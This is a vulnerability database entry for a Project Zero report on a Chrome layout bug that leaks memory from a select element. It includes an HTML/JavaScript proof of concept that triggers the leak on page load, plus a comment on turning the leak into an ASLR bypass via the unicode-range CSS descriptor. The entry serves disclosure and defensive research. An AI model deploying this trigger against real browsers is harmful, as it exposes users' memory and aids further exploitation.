Chrome bug 671328

vendor:

Chrome

by:

Project Zero

7,5

CVSS

HIGH

Layout bug

CWE

Product Name: Chrome

Affected Version From: Chrome 67

Affected Version To: Chrome 68

Patch Exists: YES

Related CWE: N/A

CPE: a:google:chrome

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2018

A layout bug in Chrome allows an attacker to leak data from a select element by using the execCommand('selectAll') method. This can be used to bypass ASLR by using the unicode-range CSS descriptor.

Mitigation:

Disable JavaScript or use a browser that is not affected by this vulnerability.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1024

Chrome bug:

https://bugs.chromium.org/p/chromium/issues/detail?id=671328

PoC:
-->

<style>
content { contain: size layout; }
</style>
<script>
function leak() {
 document.execCommand("selectAll"); 
 opt.text = ""; 
}
</script>
<body onload=leak()>
<content>
<select>
<option id="opt">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</option>
</select>
</content>

<!--
Since this is a layout bug AFAIK the leaked data can't be obtained via DOM calls, however it's possible to obtain it using tricks like unicode-range CSS descriptor (credits to Jann Horn for coming up with that approach) which is likely sufficient to turn this into an ASLR bypass.
-->